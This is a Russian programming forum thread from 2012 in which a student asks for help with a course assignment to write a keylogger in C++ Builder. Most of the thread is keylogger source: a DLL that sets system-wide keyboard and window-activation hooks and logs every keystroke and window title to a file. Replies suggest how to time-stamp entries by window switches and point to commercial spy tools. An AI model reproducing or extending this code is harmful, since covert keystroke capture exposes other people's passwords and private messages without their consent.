Форум программистов, компьютерный форум, киберфорум
Наши страницы
C++ Builder
Войти
Регистрация
Восстановить пароль
 
Рейтинг 4.93/43: Рейтинг темы: голосов - 43, средняя оценка - 4.93
Lenoriya
0 / 0 / 0
Регистрация: 18.10.2010
Сообщений: 49
1

Кейлоггер

17.04.2012, 23:59. Просмотров 7878. Ответов 8
Метки нет (Все метки)

Здравствуйте!
Задание звучит так:
Перехват и анализ нажатия клавиш на клавиатуре. Состоит из сервиса - перехватчика нажатия клавиш на клавиатуре и ведения лога нажатых клавиш по времени, а также программа просмотра логов и инсталляции сервиса перехватчика при первом запуске программы на компьютере.

А вот и вопросы:
1.Как обыграть время? Не пойму, когда его записывать в лог - поминутно или же вести буфер набранных символов? Подскажите красивый вариант.
2. Не работает с русскими шрифтами =( Подозреваю, что проблема с MapVirtualKey(wParam,0).
3. Инсталлятор через что создать? Попробовала CreateInstallFree.
4. Просмотр логов ведь не должен из кейлоггера осуществляться?

Заказываю контрольные, курсовые, дипломные и любые другие студенческие работы здесь.

0
Вложения
Тип файла: rar MyKey.rar (2.5 Кб, 296 просмотров)
Лучшие ответы (1)
Similar
Эксперт
41792 / 34177 / 6122
Регистрация: 12.04.2006
Сообщений: 57,940
17.04.2012, 23:59
Ответы с готовыми решениями:

Кейлоггер
Из темы все понятно, нужен простой кейлоггер который бует писать все в memo1...

Кейлоггер - ошибка Call of nonfunction
Добрый вечер уважаемы эксперты. Пишу небольшое ПО, одной функцией из которых...

Кейлоггер грузит процессор
Программа грузит процессор. Написал я наконец-то кейлоггер. Но появилась...

Кейлоггер
Привет всем, практически дописал кейлоггер(взял из одного примера и переделал)...

Кейлоггер
Всем привет! Хочу создать кейлоггер НА СВОЙ КОМП! То есть, не для рассылки, а...

8
LK
Заблокирован
18.04.2012, 00:16 2
Lenoriya, посмотрите Дневник из Punto Switcher
1
QWIPQ
142 / 121 / 14
Регистрация: 10.10.2011
Сообщений: 359
Записей в блоге: 2
18.04.2012, 00:18 3
Цитата Сообщение от Lenoriya Посмотреть сообщение
А вот и вопросы:
1.Как обыграть время? Не пойму, когда его записывать в лог - поминутно или же вести буфер набранных символов? Подскажите красивый вариант.
2. Не работает с русскими шрифтами =( Подозреваю, что проблема с MapVirtualKey(wParam,0).
3. Инсталлятор через что создать? Попробовала CreateInstallFree.
4. Просмотр логов ведь не должен из кейлоггера осуществляться?
1. лучше разбить на подпункты и сделать небольшую БД (например: Время, окно, нажатые клавиши)
время лучше записывать после того как например: сменили окно или ссылку в контакте, проще говоря временно прекратили работу с одним окном и перешли на др
2. в принципе можно попробывать отловить раскладку клавиатуры по API функции какой-нить! после чего принять значение от нее и менять свою виртуальную клаву исходя из того какая раскладка на компе. затем уже мног вариантов как поступать... также по API функции или по OnKeyPress например.
3. например: прога Inno Setup - http://www.jrsoftware.org/ сам не юзал но советовали. (погугли лучше эт момент)
4. кейлогеры: KGB Spy, Actual Spy, StaffCop - формируют отчет по требованию

P.S. лучше скачать кейлог любой из приведенных и глянь что да как!!! +можн запаролить вход в прогу
1
Lenoriya
0 / 0 / 0
Регистрация: 18.10.2010
Сообщений: 49
18.04.2012, 11:01  [ТС] 4
Вот функция перевода нажатых клавиш в текст. С английским всё норм, а как с русским? Должно же работать!

C++
1
2
3
4
5
6
7
8
9
10
11
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol;
    GetKeyboardState(btKeyState);
    if((ToAsciiEx(wParam,MapVirtualKey(wParam,0),btKeyState,&Symbol,0,hklLayout)==1)&&
    (GetKeyState(VK_CONTROL)>=0)&&(GetKeyState(VK_MENU)>=0)) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}

И у меня не требуется определение приложения, в котором вводится текст. Так что какие ещё варианты обработки время?
0
LK
Заблокирован
18.04.2012, 11:15 5
Лучший ответ Сообщение было отмечено как решение

Решение

Клавиатурный сниффер
3
vxg
Модератор
3265 / 2063 / 325
Регистрация: 13.01.2012
Сообщений: 8,002
19.04.2012, 12:54 6
Цитата Сообщение от LK Посмотреть сообщение
Клавиатурный сниффер
у меня чето не работает. и вообще какой то странный код (как и все что я встречал на эту тему не говоря уже о странностях документации на все эти дела), например вызов
C++
1
CallNextHookEx(hhookKbd,nCode,wParam,lParam);
не учитывает то что
C++
1
hhookKbd = SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,(HINSTANCE)g_hMod,0);
только у первого загружаемого лаунчером модуля. у всех остальных он NULL
1
QWIPQ
142 / 121 / 14
Регистрация: 10.10.2011
Сообщений: 359
Записей в блоге: 2
19.04.2012, 14:12 7
Цитата Сообщение от Lenoriya Посмотреть сообщение
C++
1
2
3
4
5
6
7
8
9
10
11
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol;
    GetKeyboardState(btKeyState);
    if((ToAsciiEx(wParam,MapVirtualKey(wParam,0),btKeyState,&Symbol,0,hklLayout)==1)&&
    (GetKeyState(VK_CONTROL)>=0)&&(GetKeyState(VK_MENU)>=0)) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}
долго ломал голову где видел эт кусок)))) копипаст рулит)))

Цитата Сообщение от Lenoriya Посмотреть сообщение
И у меня не требуется определение приложения, в котором вводится текст.Так что какие ещё варианты обработки время?
тебе над время и дату привязать к чему-то существенному... в том примере который ты используешь это приложение...

ИДЕЯ №2: реализуй отсчет времени интервала нажатия клавиши... например: если временной интервал между набором символов >=10 секунд то приписывает в файл отчета время и дата и это новая запись, а если < 10 то обновляешь время последнего нажатия и продолжаешь писать в файл отчета со старым временем...

P.S. проще было бы сделать как в источнике копипаст рулит))
1
vxg
Модератор
3265 / 2063 / 325
Регистрация: 13.01.2012
Сообщений: 8,002
19.04.2012, 15:23 8
Цитата Сообщение от QWIPQ Посмотреть сообщение
копипаст рулит))
по этой ссылке они хотя бы разделяют хэндл между всеми экземплярами модулей (хотя не ясно как сделать такой фокус в Builder). однако hKeyHook по прежнему поднимается только для лаунчера. хоть тема и древняя и вроде как всеми описанная я так и не понял как народ собирался заставить это работать..
1
Lenoriya
0 / 0 / 0
Регистрация: 18.10.2010
Сообщений: 49
22.04.2012, 19:22  [ТС] 9
Осталась пара вопросов:
1. нужна ли установка секции, а то 9-ую строку билдер не признает и ругается
2. программа выводит название окна, если оно меняется. Как сделать обработку, чтобы выводилось название только тех окон, в которых был набран текст.
Вот моя Dll.

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#include <vcl.h>
#include <windows.h>
#include <stdio.h>
#include <locale.h>
 
#pragma data_seg(".hdata") // секция в памяти общая для всех процессов
HINSTANCE hi=NULL;
#pragma data_seg() // конец секции
//#pragma comment(linker, "/section:.hdata,rws") // даем права этой секции
 
#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else 
#define EXPORT __declspec (dllexport) 
#endif 
 
EXPORT BOOL SetKeyboardHook(void); // объявляем экспортируемую функцию
 
HANDLE hFile=NULL;
HHOOK hKeyHook=NULL;
HHOOK hCBTHook=NULL;
 
void WriteTime(void) // записывает дату и время
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    SYSTEMTIME time;
    char buffer[30];
 
    GetLocalTime(&time); // получаем дату и время
// форматируем это в String
    sprintf(buffer,"\r\n%02d.%02d.%d %02d:%02d",time.wDay,
                    time.wMonth,time.wYear,time.wHour,time.wMinute);
 
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
 
    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp); // пишем в файл
}
 
void WriteTitle(HWND hWnd) // записывает имя окна
{
    WriteTime(); // сначала пишем время
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    char buffer[250];
    char title[256];
    GetWindowText(hWnd,title,100); // получаем имя
    sprintf(buffer," %s\r\n",title);
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
 
    WriteFile(hFile,buffer,strlen(buffer),&NOfBytes,&ovlp);
}
 
short GetSymbolFromVK(WPARAM wParam) // переводит код нажатой клавиши в текст
{
    BYTE btKeyState[256];
    HKL hklLayout = GetKeyboardLayout(0); // узнаем язык клавиатуры
    WORD Symbol; 
    GetKeyboardState(btKeyState); 
    if((ToAsciiEx(wParam, MapVirtualKey(wParam, 0), btKeyState, &Symbol, 0, hklLayout) == 1) && // сам перевод
                 GetKeyState(VK_CONTROL) >= 0 && GetKeyState(VK_MENU) >= 0) // проверяем CTRL и ALT
        return Symbol;
     return -1;
}
 
void WriteSymbol(WPARAM wParam) // записывает нажатие в файл
{
    DWORD NOfBytes;
    OVERLAPPED ovlp;
    DWORD ffsze;
    short wc;
 
    ffsze=GetFileSize(hFile,NULL);
    ovlp.OffsetHigh=0;
    ovlp.hEvent=NULL;
    ovlp.Offset=ffsze;
    setlocale(LC_ALL,"");
 
    if(wParam==VK_RETURN) 
        WriteFile(hFile,"\r\n",2,&NOfBytes,&ovlp);
 
    else if((wc=GetSymbolFromVK(wParam))!=-1) // переводим нажатие в текст
        if(iswprint(wc)) // проверяем или знак текстовой
            WriteFile(hFile,&wc,1,&NOfBytes,&ovlp);
}
 
 
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
    switch(ul_reason_for_call)
     {
        case DLL_PROCESS_ATTACH:
        {
            if(!hi)
                hi=hModule;
 
                char pfad[30] =TEXT("c:\\KeySpy.txt");
 
            if((hFile=CreateFile(pfad,GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_WRITE|FILE_SHARE_READ,NULL,
                        OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL))==INVALID_HANDLE_VALUE)
                    {
                    return FALSE;
                    }
             break;
        }
 
         case DLL_PROCESS_DETACH:
        {
         UnhookWindowsHookEx(hKeyHook);
         UnhookWindowsHookEx(hCBTHook);
         CloseHandle(hFile);
            break;
        }
        default:
            break;
    }
    return TRUE ; 
}
 
LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam) // вызывается при нажатии или отпускании клавиши
{
    if (nCode)
        return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
    if(lParam>=0) // нам нужно только нажатие
        WriteSymbol(wParam);
    return CallNextHookEx(hKeyHook,nCode,wParam,lParam);
}
 
LRESULT WINAPI CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode==HCBT_ACTIVATE)
            WriteTitle((HWND)wParam);
    return CallNextHookEx(hCBTHook, nCode, wParam, lParam);
}
 
BOOL SetKeyboardHook(void)
{
    hKeyHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hi,0);
    hCBTHook=SetWindowsHookEx(WH_CBT ,(HOOKPROC)CBTProc,hi,0);
    return hKeyHook && hCBTHook;
}
0
22.04.2012, 19:22
MoreAnswers
Эксперт
37091 / 29110 / 5898
Регистрация: 17.06.2006
Сообщений: 43,301
22.04.2012, 19:22

Кейлоггер на C++
На кафедре поручили написать кейлоггер на плюсах, а я с системным...

Кейлоггер
Хочу написать свой кейлоггер, но не знаю с чего даже начать. Какие библиотеки...

PS/2 кейлоггер
Есть PS/2 кейлоггер на тини13 и с внешним еепромом, возможно ли в него...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Опции темы

КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2018, vBulletin Solutions, Inc.
Рейтинг@Mail.ru